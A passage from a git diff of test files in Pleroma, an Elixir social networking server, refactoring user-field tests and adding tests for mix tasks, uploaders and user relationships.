+ Mix.shell(Mix.Shell.IO)
+ end)
+
+ :ok
+ end
+
+ describe "pleroma.digest test" do
+ test "Sends digest to the given user" do
+ user1 = insert(:user)
+ user2 = insert(:user)
+
+ Enum.each(0..10, fn i ->
+ {:ok, _activity} =
+ CommonAPI.post(user1, %{
+ "status" => "hey ##{i} @#{user2.nickname}!"
+ })
+ end)
+
+ yesterday =
+ NaiveDateTime.add(
+ NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second),
+ -60 * 60 * 24,
+ :second
+ )
+
+ {:ok, yesterday_date} = Timex.format(yesterday, "%F", :strftime)
+
+ :ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date])
+
+ ObanHelpers.perform_all()
+
+ assert_receive {:mix_shell, :info, [message]}
+ assert message =~ "Digest email have been sent"
+
+ assert_email_sent(
+ to: {user2.name, user2.email},
+ html_body: ~r/here is what you've missed!/i
+ )
+ end
+ end
+end
diff --git a/test/tasks/ecto/migrate_test.exs b/test/tasks/ecto/migrate_test.exs
index 0538a7b40..42f6cbf47 100644
--- a/test/tasks/ecto/migrate_test.exs
+++ b/test/tasks/ecto/migrate_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do
diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs
index 70986374e..d69275726 100644
--- a/test/tasks/instance_test.exs
+++ b/test/tasks/instance_test.exs
@@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do
setup do
File.mkdir_p!(tmp_path())
- on_exit(fn -> File.rm_rf(tmp_path()) end)
+
+ on_exit(fn ->
+ File.rm_rf(tmp_path())
+ static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")
+
+ if File.exists?(static_dir) do
+ File.rm_rf(Path.join(static_dir, "robots.txt"))
+ end
+ end)
+
:ok
end
@@ -69,7 +78,7 @@ defmodule Pleroma.InstanceTest do
assert generated_config =~ "database: \"dbname\""
assert generated_config =~ "username: \"dbuser\""
assert generated_config =~ "password: \"dbpass\""
- assert generated_config =~ "dynamic_configuration: true"
+ assert generated_config =~ "configurable_from_database: true"
assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]"
assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql()
end
diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs
index 9d260da3e..04a1e45d7 100644
--- a/test/tasks/relay_test.exs
+++ b/test/tasks/relay_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.RelayTest do
@@ -50,7 +50,8 @@ defmodule Mix.Tasks.Pleroma.RelayTest do
%User{ap_id: follower_id} = local_user = Relay.get_actor()
target_user = User.get_cached_by_ap_id(target_instance)
follow_activity = Utils.fetch_latest_follow(local_user, target_user)
-
+ User.follow(local_user, target_user)
+ assert "#{target_instance}/followers" in User.following(local_user)
Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance])
cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"])
@@ -67,6 +68,28 @@ defmodule Mix.Tasks.Pleroma.RelayTest do
assert undo_activity.data["type"] == "Undo"
assert undo_activity.data["actor"] == local_user.ap_id
assert undo_activity.data["object"] == cancelled_activity.data
+ refute "#{target_instance}/followers" in User.following(local_user)
+ end
+ end
+
+ describe "mix pleroma.relay list" do
+ test "Prints relay subscription list" do
+ :ok = Mix.Tasks.Pleroma.Relay.run(["list"])
+
+ refute_receive {:mix_shell, :info, _}
+
+ relay_user = Relay.get_actor()
+
+ ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"]
+ |> Enum.each(fn ap_id ->
+ {:ok, user} = User.get_or_fetch_by_ap_id(ap_id)
+ User.follow(relay_user, user)
+ end)
+
+ :ok = Mix.Tasks.Pleroma.Relay.run(["list"])
+
+ assert_receive {:mix_shell, :info, ["mstdn.io"]}
+ assert_receive {:mix_shell, :info, ["mastodon.example.org"]}
end
end
end
diff --git a/test/tasks/robots_txt_test.exs b/test/tasks/robots_txt_test.exs
index 78a3f17b4..917df2675 100644
--- a/test/tasks/robots_txt_test.exs
+++ b/test/tasks/robots_txt_test.exs
@@ -4,17 +4,17 @@
defmodule Mix.Tasks.Pleroma.RobotsTxtTest do
use ExUnit.Case
+ use Pleroma.Tests.Helpers
alias Mix.Tasks.Pleroma.RobotsTxt
+ clear_config([:instance, :static_dir])
+
test "creates new dir" do
path = "test/fixtures/new_dir/"
file_path = path <> "robots.txt"
-
- static_dir = Pleroma.Config.get([:instance, :static_dir])
Pleroma.Config.put([:instance, :static_dir], path)
on_exit(fn ->
- Pleroma.Config.put([:instance, :static_dir], static_dir)
{:ok, ["test/fixtures/new_dir/", "test/fixtures/new_dir/robots.txt"]} = File.rm_rf(path)
end)
@@ -29,11 +29,9 @@ defmodule Mix.Tasks.Pleroma.RobotsTxtTest do
test "to existance folder" do
path = "test/fixtures/"
file_path = path <> "robots.txt"
- static_dir = Pleroma.Config.get([:instance, :static_dir])
Pleroma.Config.put([:instance, :static_dir], path)
on_exit(fn ->
- Pleroma.Config.put([:instance, :static_dir], static_dir)
:ok = File.rm(file_path)
end)
diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs
index 3d4b08fba..bfd0ccbc5 100644
--- a/test/tasks/user_test.exs
+++ b/test/tasks/user_test.exs
@@ -1,10 +1,13 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.UserTest do
alias Pleroma.Repo
alias Pleroma.User
+ alias Pleroma.Web.OAuth.Authorization
+ alias Pleroma.Web.OAuth.Token
+
use Pleroma.DataCase
import Pleroma.Factory
@@ -55,8 +58,8 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert user.name == unsaved.name
assert user.email == unsaved.email
assert user.bio == unsaved.bio
- assert user.info.is_moderator
- assert user.info.is_admin
+ assert user.is_moderator
+ assert user.is_admin
end
test "user is not created" do
@@ -110,11 +113,11 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert message =~ " deactivated"
user = User.get_cached_by_nickname(user.nickname)
- assert user.info.deactivated
+ assert user.deactivated
end
test "user is activated" do
- user = insert(:user, info: %{deactivated: true})
+ user = insert(:user, deactivated: true)
Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname])
@@ -122,7 +125,7 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert message =~ " activated"
user = User.get_cached_by_nickname(user.nickname)
- refute user.info.deactivated
+ refute user.deactivated
end
test "no user to toggle" do
@@ -136,7 +139,8 @@ defmodule Mix.Tasks.Pleroma.UserTest do
describe "running unsubscribe" do
test "user is unsubscribed" do
followed = insert(:user)
- user = insert(:user, %{following: [User.ap_followers(followed)]})
+ user = insert(:user)
+ User.follow(user, followed, "accept")
Mix.Tasks.Pleroma.User.run(["unsubscribe", user.nickname])
@@ -151,8 +155,8 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert message =~ "Successfully unsubscribed"
user = User.get_cached_by_nickname(user.nickname)
- assert Enum.empty?(user.following)
- assert user.info.deactivated
+ assert Enum.empty?(User.get_friends(user))
+ assert user.deactivated
end
test "no user to unsubscribe" do
@@ -179,13 +183,13 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert message =~ ~r/Admin status .* true/
user = User.get_cached_by_nickname(user.nickname)
- assert user.info.is_moderator
- assert user.info.locked
- assert user.info.is_admin
+ assert user.is_moderator
+ assert user.locked
+ assert user.is_admin
end
test "All statuses unset" do
- user = insert(:user, info: %{is_moderator: true, locked: true, is_admin: true})
+ user = insert(:user, locked: true, is_moderator: true, is_admin: true)
Mix.Tasks.Pleroma.User.run([
"set",
@@ -205,9 +209,9 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert message =~ ~r/Admin status .* false/
user = User.get_cached_by_nickname(user.nickname)
- refute user.info.is_moderator
- refute user.info.locked
- refute user.info.is_admin
+ refute user.is_moderator
+ refute user.locked
+ refute user.is_admin
end
test "no user to set status" do
@@ -327,6 +331,13 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert_received {:mix_shell, :info, [message]}
assert message =~ "Invite for token #{invite.token} was revoked."
end
+
+ test "it prints an error message when invite is not exist" do
+ Mix.Tasks.Pleroma.User.run(["revoke_invite", "foo"])
+
+ assert_received {:mix_shell, :error, [message]}
+ assert message =~ "No invite found"
+ end
end
describe "running delete_activities" do
@@ -337,32 +348,46 @@ defmodule Mix.Tasks.Pleroma.UserTest do
assert_received {:mix_shell, :info, [message]}
assert message == "User #{nickname} statuses deleted."
end
+
+ test "it prints an error message when user is not exist" do
+ Mix.Tasks.Pleroma.User.run(["delete_activities", "foo"])
+
+ assert_received {:mix_shell, :error, [message]}
+ assert message =~ "No local user"
+ end
end
describe "running toggle_confirmed" do
test "user is confirmed" do
- %{id: id, nickname: nickname} = insert(:user, info: %{confirmation_pending: false})
+ %{id: id, nickname: nickname} = insert(:user, confirmation_pending: false)
assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname])
assert_received {:mix_shell, :info, [message]}
assert message == "#{nickname} needs confirmation."
user = Repo.get(User, id)
- assert user.info.confirmation_pending
- assert user.info.confirmation_token
+ assert user.confirmation_pending
+ assert user.confirmation_token
end
test "user is not confirmed" do
%{id: id, nickname: nickname} =
- insert(:user, info: %{confirmation_pending: true, confirmation_token: "some token"})
+ insert(:user, confirmation_pending: true, confirmation_token: "some token")
assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname])
assert_received {:mix_shell, :info, [message]}
assert message == "#{nickname} doesn't need confirmation."
user = Repo.get(User, id)
- refute user.info.confirmation_pending
- refute user.info.confirmation_token
+ refute user.confirmation_pending
+ refute user.confirmation_token
+ end
+
+ test "it prints an error message when user is not exist" do
+ Mix.Tasks.Pleroma.User.run(["toggle_confirmed", "foo"])
+
+ assert_received {:mix_shell, :error, [message]}
+ assert message =~ "No local user"
end
end
@@ -386,4 +411,64 @@ defmodule Mix.Tasks.Pleroma.UserTest do
User.Search.search("moon fediverse", for_user: user) |> Enum.map(& &1.id)
end
end
+
+ describe "signing out" do
+ test "it deletes all user's tokens and authorizations" do
+ user = insert(:user)
+ insert(:oauth_token, user: user)
+ insert(:oauth_authorization, user: user)
+
+ assert Repo.get_by(Token, user_id: user.id)
+ assert Repo.get_by(Authorization, user_id: user.id)
+
+ :ok = Mix.Tasks.Pleroma.User.run(["sign_out", user.nickname])
+
+ refute Repo.get_by(Token, user_id: user.id)
+ refute Repo.get_by(Authorization, user_id: user.id)
+ end
+
+ test "it prints an error message when user is not exist" do
+ Mix.Tasks.Pleroma.User.run(["sign_out", "foo"])
+
+ assert_received {:mix_shell, :error, [message]}
+ assert message =~ "No local user"
+ end
+ end
+
+ describe "tagging" do
+ test "it add tags to a user" do
+ user = insert(:user)
+
+ :ok = Mix.Tasks.Pleroma.User.run(["tag", user.nickname, "pleroma"])
+
+ user = User.get_cached_by_nickname(user.nickname)
+ assert "pleroma" in user.tags
+ end
+
+ test "it prints an error message when user is not exist" do
+ Mix.Tasks.Pleroma.User.run(["tag", "foo"])
+
+ assert_received {:mix_shell, :error, [message]}
+ assert message =~ "Could not change user tags"
+ end
+ end
+
+ describe "untagging" do
+ test "it deletes tags from a user" do
+ user = insert(:user, tags: ["pleroma"])
+ assert "pleroma" in user.tags
+
+ :ok = Mix.Tasks.Pleroma.User.run(["untag", user.nickname, "pleroma"])
+
+ user = User.get_cached_by_nickname(user.nickname)
+ assert Enum.empty?(user.tags)
+ end
+
+ test "it prints an error message when user is not exist" do
+ Mix.Tasks.Pleroma.User.run(["untag", "foo"])
+
+ assert_received {:mix_shell, :error, [message]}
+ assert message =~ "Could not change user tags"
+ end
+ end
end
diff --git a/test/test_helper.exs b/test/test_helper.exs
index 3e33f0335..241ad1f94 100644
--- a/test/test_helper.exs
+++ b/test/test_helper.exs
@@ -1,8 +1,15 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
-ExUnit.start()
+os_exclude = if :os.type() == {:unix, :darwin}, do: [skip_on_mac: true], else: []
+ExUnit.start(exclude: [:federated | os_exclude])
+
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)
Mox.defmock(Pleroma.ReverseProxy.ClientMock, for: Pleroma.ReverseProxy.Client)
{:ok, _} = Application.ensure_all_started(:ex_machina)
+
+ExUnit.after_suite(fn _results ->
+ uploads = Pleroma.Config.get([Pleroma.Uploaders.Local, :uploads], "test/uploads")
+ File.rm_rf!(uploads)
+end)
diff --git a/test/upload/filter/anonymize_filename_test.exs b/test/upload/filter/anonymize_filename_test.exs
index a31b38ab1..6b33e7395 100644
--- a/test/upload/filter/anonymize_filename_test.exs
+++ b/test/upload/filter/anonymize_filename_test.exs
@@ -9,12 +9,6 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do
alias Pleroma.Upload
setup do
- custom_filename = Config.get([Upload.Filter.AnonymizeFilename, :text])
-
- on_exit(fn ->
- Config.put([Upload.Filter.AnonymizeFilename, :text], custom_filename)
- end)
-
upload_file = %Upload{
name: "an… image.jpg",
content_type: "image/jpg",
@@ -24,6 +18,8 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do
%{upload_file: upload_file}
end
+ clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text])
+
test "it replaces filename on pre-defined text", %{upload_file: upload_file} do
Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png")
{:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file)
diff --git a/test/upload/filter/dedupe_test.exs b/test/upload/filter/dedupe_test.exs
index fddd594dc..3de94dc20 100644
--- a/test/upload/filter/dedupe_test.exs
+++ b/test/upload/filter/dedupe_test.exs
@@ -25,7 +25,7 @@ defmodule Pleroma.Upload.Filter.DedupeTest do
assert {
:ok,
- %Pleroma.Upload{id: @shasum, path: "#{@shasum}.jpg"}
+ %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"}
} = Dedupe.filter(upload)
end
end
diff --git a/test/upload/filter/mogrify_test.exs b/test/upload/filter/mogrify_test.exs
index c301440fd..210320d30 100644
--- a/test/upload/filter/mogrify_test.exs
+++ b/test/upload/filter/mogrify_test.exs
@@ -10,13 +10,7 @@ defmodule Pleroma.Upload.Filter.MogrifyTest do
alias Pleroma.Upload
alias Pleroma.Upload.Filter
- setup do
- filter = Config.get([Filter.Mogrify, :args])
-
- on_exit(fn ->
- Config.put([Filter.Mogrify, :args], filter)
- end)
- end
+ clear_config([Filter.Mogrify, :args])
test "apply mogrify filter" do
Config.put([Filter.Mogrify, :args], [{"tint", "40"}])
diff --git a/test/upload/filter_test.exs b/test/upload/filter_test.exs
index 640cd7107..03887c06a 100644
--- a/test/upload/filter_test.exs
+++ b/test/upload/filter_test.exs
@@ -8,13 +8,7 @@ defmodule Pleroma.Upload.FilterTest do
alias Pleroma.Config
alias Pleroma.Upload.Filter
- setup do
- custom_filename = Config.get([Pleroma.Upload.Filter.AnonymizeFilename, :text])
-
- on_exit(fn ->
- Config.put([Pleroma.Upload.Filter.AnonymizeFilename, :text], custom_filename)
- end)
- end
+ clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text])
test "applies filters" do
Config.put([Pleroma.Upload.Filter.AnonymizeFilename, :text], "custom-file.png")
diff --git a/test/upload_test.exs b/test/upload_test.exs
index 32c6977d1..0ca5ebced 100644
--- a/test/upload_test.exs
+++ b/test/upload_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UploadTest do
@@ -122,24 +122,6 @@ defmodule Pleroma.UploadTest do
assert String.starts_with?(url, Pleroma.Web.base_url() <> "/media/")
end
- test "returns a media url with configured base_url" do
- base_url = "https://cache.pleroma.social"
-
- File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image_tmp.jpg"),
- filename: "image.jpg"
- }
-
- {:ok, data} = Upload.store(file, base_url: base_url)
-
- assert %{"url" => [%{"href" => url}]} = data
-
- assert String.starts_with?(url, base_url <> "/media/")
- end
-
test "copies the file to the configured folder with deduping" do
File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
@@ -266,4 +248,28 @@ defmodule Pleroma.UploadTest do
"%3A%3F%23%5B%5D%40%21%24%26%5C%27%28%29%2A%2B%2C%3B%3D.jpg"
end
end
+
+ describe "Setting a custom base_url for uploaded media" do
+ clear_config([Pleroma.Upload, :base_url]) do
+ Pleroma.Config.put([Pleroma.Upload, :base_url], "https://cache.pleroma.social")
+ end
+
+ test "returns a media url with configured base_url" do
+ base_url = Pleroma.Config.get([Pleroma.Upload, :base_url])
+
+ File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image_tmp.jpg"),
+ filename: "image.jpg"
+ }
+
+ {:ok, data} = Upload.store(file, base_url: base_url)
+
+ assert %{"url" => [%{"href" => url}]} = data
+
+ refute String.starts_with?(url, base_url <> "/media/")
+ end
+ end
end
diff --git a/test/uploaders/local_test.exs b/test/uploaders/local_test.exs
new file mode 100644
index 000000000..1963dac23
--- /dev/null
+++ b/test/uploaders/local_test.exs
@@ -0,0 +1,53 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Uploaders.LocalTest do
+ use Pleroma.DataCase
+ alias Pleroma.Uploaders.Local
+
+ describe "get_file/1" do
+ test "it returns path to local folder for files" do
+ assert Local.get_file("") == {:ok, {:static_dir, "test/uploads"}}
+ end
+ end
+
+ describe "put_file/1" do
+ test "put file to local folder" do
+ file_path = "local_upload/files/image.jpg"
+
+ file = %Pleroma.Upload{
+ name: "image.jpg",
+ content_type: "image/jpg",
+ path: file_path,
+ tempfile: Path.absname("test/fixtures/image_tmp.jpg")
+ }
+
+ assert Local.put_file(file) == :ok
+
+ assert Path.join([Local.upload_path(), file_path])
+ |> File.exists?()
+ end
+ end
+
+ describe "delete_file/1" do
+ test "deletes local file" do
+ file_path = "local_upload/files/image.jpg"
+
+ file = %Pleroma.Upload{
+ name: "image.jpg",
+ content_type: "image/jpg",
+ path: file_path,
+ tempfile: Path.absname("test/fixtures/image_tmp.jpg")
+ }
+
+ :ok = Local.put_file(file)
+ local_path = Path.join([Local.upload_path(), file_path])
+ assert File.exists?(local_path)
+
+ Local.delete_file(file_path)
+
+ refute File.exists?(local_path)
+ end
+ end
+end
diff --git a/test/uploaders/s3_test.exs b/test/uploaders/s3_test.exs
new file mode 100644
index 000000000..ab7795c3b
--- /dev/null
+++ b/test/uploaders/s3_test.exs
@@ -0,0 +1,89 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Uploaders.S3Test do
+ use Pleroma.DataCase
+
+ alias Pleroma.Config
+ alias Pleroma.Uploaders.S3
+
+ import Mock
+ import ExUnit.CaptureLog
+
+ clear_config([Pleroma.Uploaders.S3]) do
+ Config.put([Pleroma.Uploaders.S3],
+ bucket: "test_bucket",
+ public_endpoint: "https://s3.amazonaws.com"
+ )
+ end
+
+ describe "get_file/1" do
+ test "it returns path to local folder for files" do
+ assert S3.get_file("test_image.jpg") == {
+ :ok,
+ {:url, "https://s3.amazonaws.com/test_bucket/test_image.jpg"}
+ }
+ end
+
+ test "it returns path without bucket when truncated_namespace set to ''" do
+ Config.put([Pleroma.Uploaders.S3],
+ bucket: "test_bucket",
+ public_endpoint: "https://s3.amazonaws.com",
+ truncated_namespace: ""
+ )
+
+ assert S3.get_file("test_image.jpg") == {
+ :ok,
+ {:url, "https://s3.amazonaws.com/test_image.jpg"}
+ }
+ end
+
+ test "it returns path with bucket namespace when namespace is set" do
+ Config.put([Pleroma.Uploaders.S3],
+ bucket: "test_bucket",
+ public_endpoint: "https://s3.amazonaws.com",
+ bucket_namespace: "family"
+ )
+
+ assert S3.get_file("test_image.jpg") == {
+ :ok,
+ {:url, "https://s3.amazonaws.com/family:test_bucket/test_image.jpg"}
+ }
+ end
+ end
+
+ describe "put_file/1" do
+ setup do
+ file_upload = %Pleroma.Upload{
+ name: "image-tet.jpg",
+ content_type: "image/jpg",
+ path: "test_folder/image-tet.jpg",
+ tempfile: Path.absname("test/fixtures/image_tmp.jpg")
+ }
+
+ [file_upload: file_upload]
+ end
+
+ test "save file", %{file_upload: file_upload} do
+ with_mock ExAws, request: fn _ -> {:ok, :ok} end do
+ assert S3.put_file(file_upload) == {:ok, {:file, "test_folder/image-tet.jpg"}}
+ end
+ end
+
+ test "returns error", %{file_upload: file_upload} do
+ with_mock ExAws, request: fn _ -> {:error, "S3 Upload failed"} end do
+ assert capture_log(fn ->
+ assert S3.put_file(file_upload) == {:error, "S3 Upload failed"}
+ end) =~ "Elixir.Pleroma.Uploaders.S3: {:error, \"S3 Upload failed\"}"
+ end
+ end
+ end
+
+ describe "delete_file/1" do
+ test_with_mock "deletes file", ExAws, request: fn _req -> {:ok, %{status_code: 204}} end do
+ assert :ok = S3.delete_file("image.jpg")
+ assert_called(ExAws.request(:_))
+ end
+ end
+end
diff --git a/test/user/notification_setting_test.exs b/test/user/notification_setting_test.exs
new file mode 100644
index 000000000..4744d7b4a
--- /dev/null
+++ b/test/user/notification_setting_test.exs
@@ -0,0 +1,21 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.User.NotificationSettingTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.User.NotificationSetting
+
+ describe "changeset/2" do
+ test "sets valid privacy option" do
+ changeset =
+ NotificationSetting.changeset(
+ %NotificationSetting{},
+ %{"privacy_option" => true}
+ )
+
+ assert %Ecto.Changeset{valid?: true} = changeset
+ end
+ end
+end
diff --git a/test/user_relationship_test.exs b/test/user_relationship_test.exs
new file mode 100644
index 000000000..437450bc3
--- /dev/null
+++ b/test/user_relationship_test.exs
@@ -0,0 +1,130 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.UserRelationshipTest do
+ alias Pleroma.UserRelationship
+
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+
+ describe "*_exists?/2" do
+ setup do
+ {:ok, users: insert_list(2, :user)}
+ end
+
+ test "returns false if record doesn't exist", %{users: [user1, user2]} do
+ refute UserRelationship.block_exists?(user1, user2)
+ refute UserRelationship.mute_exists?(user1, user2)
+ refute UserRelationship.notification_mute_exists?(user1, user2)
+ refute UserRelationship.reblog_mute_exists?(user1, user2)
+ refute UserRelationship.inverse_subscription_exists?(user1, user2)
+ end
+
+ test "returns true if record exists", %{users: [user1, user2]} do
+ for relationship_type <- [
+ :block,
+ :mute,
+ :notification_mute,
+ :reblog_mute,
+ :inverse_subscription
+ ] do
+ insert(:user_relationship,
+ source: user1,
+ target: user2,
+ relationship_type: relationship_type
+ )
+ end
+
+ assert UserRelationship.block_exists?(user1, user2)
+ assert UserRelationship.mute_exists?(user1, user2)
+ assert UserRelationship.notification_mute_exists?(user1, user2)
+ assert UserRelationship.reblog_mute_exists?(user1, user2)
+ assert UserRelationship.inverse_subscription_exists?(user1, user2)
+ end
+ end
+
+ describe "create_*/2" do
+ setup do
+ {:ok, users: insert_list(2, :user)}
+ end
+
+ test "creates user relationship record if it doesn't exist", %{users: [user1, user2]} do
+ for relationship_type <- [
+ :block,
+ :mute,
+ :notification_mute,
+ :reblog_mute,
+ :inverse_subscription
+ ] do
+ insert(:user_relationship,
+ source: user1,
+ target: user2,
+ relationship_type: relationship_type
+ )
+ end
+
+ UserRelationship.create_block(user1, user2)
+ UserRelationship.create_mute(user1, user2)
+ UserRelationship.create_notification_mute(user1, user2)
+ UserRelationship.create_reblog_mute(user1, user2)
+ UserRelationship.create_inverse_subscription(user1, user2)
+
+ assert UserRelationship.block_exists?(user1, user2)
+ assert UserRelationship.mute_exists?(user1, user2)
+ assert UserRelationship.notification_mute_exists?(user1, user2)
+ assert UserRelationship.reblog_mute_exists?(user1, user2)
+ assert UserRelationship.inverse_subscription_exists?(user1, user2)
+ end
+
+ test "if record already exists, returns it", %{users: [user1, user2]} do
+ user_block = UserRelationship.create_block(user1, user2)
+ assert user_block == UserRelationship.create_block(user1, user2)
+ end
+ end
+
+ describe "delete_*/2" do
+ setup do
+ {:ok, users: insert_list(2, :user)}
+ end
+
+ test "deletes user relationship record if it exists", %{users: [user1, user2]} do
+ for relationship_type <- [
+ :block,
+ :mute,
+ :notification_mute,
+ :reblog_mute,
+ :inverse_subscription
+ ] do
+ insert(:user_relationship,
+ source: user1,
+ target: user2,
+ relationship_type: relationship_type
+ )
+ end
+
+ assert {:ok, %UserRelationship{}} = UserRelationship.delete_block(user1, user2)
+ assert {:ok, %UserRelationship{}} = UserRelationship.delete_mute(user1, user2)
+ assert {:ok, %UserRelationship{}} = UserRelationship.delete_notification_mute(user1, user2)
+ assert {:ok, %UserRelationship{}} = UserRelationship.delete_reblog_mute(user1, user2)
+
+ assert {:ok, %UserRelationship{}} =
+ UserRelationship.delete_inverse_subscription(user1, user2)
+
+ refute UserRelationship.block_exists?(user1, user2)
+ refute UserRelationship.mute_exists?(user1, user2)
+ refute UserRelationship.notification_mute_exists?(user1, user2)
+ refute UserRelationship.reblog_mute_exists?(user1, user2)
+ refute UserRelationship.inverse_subscription_exists?(user1, user2)
+ end
+
+ test "if record does not exist, returns {:ok, nil}", %{users: [user1, user2]} do
+ assert {:ok, nil} = UserRelationship.delete_block(user1, user2)
+ assert {:ok, nil} = UserRelationship.delete_mute(user1, user2)
+ assert {:ok, nil} = UserRelationship.delete_notification_mute(user1, user2)
+ assert {:ok, nil} = UserRelationship.delete_reblog_mute(user1, user2)
+ assert {:ok, nil} = UserRelationship.delete_inverse_subscription(user1, user2)
+ end
+ end
+end
diff --git a/test/user_search_test.exs b/test/user_search_test.exs
index 4de6c82a5..821858476 100644
--- a/test/user_search_test.exs
+++ b/test/user_search_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserSearchTest do
@@ -15,6 +15,14 @@ defmodule Pleroma.UserSearchTest do
end
describe "User.search" do
+ test "excluded invisible users from results" do
+ user = insert(:user, %{nickname: "john t1000"})
+ insert(:user, %{invisible: true, nickname: "john t800"})
+
+ [found_user] = User.search("john")
+ assert found_user.id == user.id
+ end
+
test "accepts limit parameter" do
Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"}))
assert length(User.search("john", limit: 3)) == 3
@@ -51,13 +59,6 @@ defmodule Pleroma.UserSearchTest do
end)
end
- test "finds users, preferring nickname matches over name matches" do
- u1 = insert(:user, %{name: "lain", nickname: "nick1"})
- u2 = insert(:user, %{nickname: "lain", name: "nick1"})
-
- assert [u2.id, u1.id] == Enum.map(User.search("lain"), & &1.id)
- end
-
test "finds users, considering density of matched tokens" do
u1 = insert(:user, %{name: "Bar Bar plus Word Word"})
u2 = insert(:user, %{name: "Word Word Bar Bar Bar"})
@@ -65,21 +66,6 @@ defmodule Pleroma.UserSearchTest do
assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id)
end
- test "finds users, ranking by similarity" do
- u1 = insert(:user, %{name: "lain"})
- _u2 = insert(:user, %{name: "ean"})
- u3 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social"})
- u4 = insert(:user, %{nickname: "lain@pleroma.soykaf.com"})
-
- assert [u4.id, u3.id, u1.id] == Enum.map(User.search("lain@ple", for_user: u1), & &1.id)
- end
-
- test "finds users, handling misspelled requests" do
- u1 = insert(:user, %{name: "lain"})
-
- assert [u1.id] == Enum.map(User.search("laiin"), & &1.id)
- end
-
test "finds users, boosting ranks of friends and followers" do
u1 = insert(:user)
u2 = insert(:user, %{name: "Doe"})
@@ -163,17 +149,6 @@ defmodule Pleroma.UserSearchTest do
Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
end
- test "finds a user whose name is nil" do
- _user = insert(:user, %{name: "notamatch", nickname: "testuser@pleroma.amplifie.red"})
- user_two = insert(:user, %{name: nil, nickname: "lain@pleroma.soykaf.com"})
-
- assert user_two ==
- User.search("lain@pleroma.soykaf.com")
- |> List.first()
- |> Map.put(:search_rank, nil)
- |> Map.put(:search_type, nil)
- end
-
